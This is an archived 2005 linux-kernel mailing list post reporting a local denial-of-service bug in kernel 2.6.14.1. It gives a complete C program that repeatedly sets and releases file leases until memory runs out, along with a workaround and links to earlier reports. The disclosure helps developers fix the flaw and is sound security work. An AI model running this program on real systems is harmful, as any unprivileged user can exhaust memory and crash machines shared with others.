public inbox for linux-kernel@vger.kernel.org
 help / color / mirror / Atom feed
* local denial-of-service with file leases
@ 2005-11-10 17:00 Avi Kivity
  2005-11-11  8:45 ` Chris Wright
  0 siblings, 1 reply; 9+ messages in thread
From: Avi Kivity @ 2005-11-10 17:00 UTC (permalink / raw)
  To: linux-kernel

the following program will oom a the 2.6.14.1 kernel, running as an 
ordinary user:

#include <unistd.h>

#include <stdlib.h>

#include <linux/fcntl.h>

int main(int ac, char **av)

{

    char *fname = av[0];

    int fd = open(fname, O_RDONLY);

    int r;

    

    while (1) {

        r = fcntl(fd, F_SETLEASE, F_RDLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_RDLCK");

            exit(1);

        }

        r = fcntl(fd, F_SETLEASE, F_UNLCK);

        if (r == -1) {

            perror("F_SETLEASE, F_UNLCK");

            exit(1);

        }

    }

    return 0;

}


it will suck all available memory into fasync_cache, causing an oom. a 
workaround is to set fs.leases-enable to 0.

this has already been reported to lkml[1] and fedora[2], with no effect.

[1] http://www.ussg.iu.edu/hypermail/linux/kernel/0510.2/1589.html
[2] https://bugzilla.redhat.com/bugzilla/show_bug.cgi?id=172691


^ permalink raw reply	[flat|nested] 9+ messages in thread

end of thread, other threads:[~2005-11-13  9:05 UTC | newest]

Thread overview: 9+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2005-11-10 17:00 local denial-of-service with file leases Avi Kivity
2005-11-11  8:45 ` Chris Wright
2005-11-11 10:05   ` Avi Kivity
2005-11-11 11:14     ` Avi Kivity
2005-11-11 14:21   ` Trond Myklebust
2005-11-11 18:35     ` Chris Wright
2005-11-11 19:25       ` Trond Myklebust
2005-11-12  1:20         ` Chris Wright
2005-11-13  9:05           ` Avi Kivity

This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox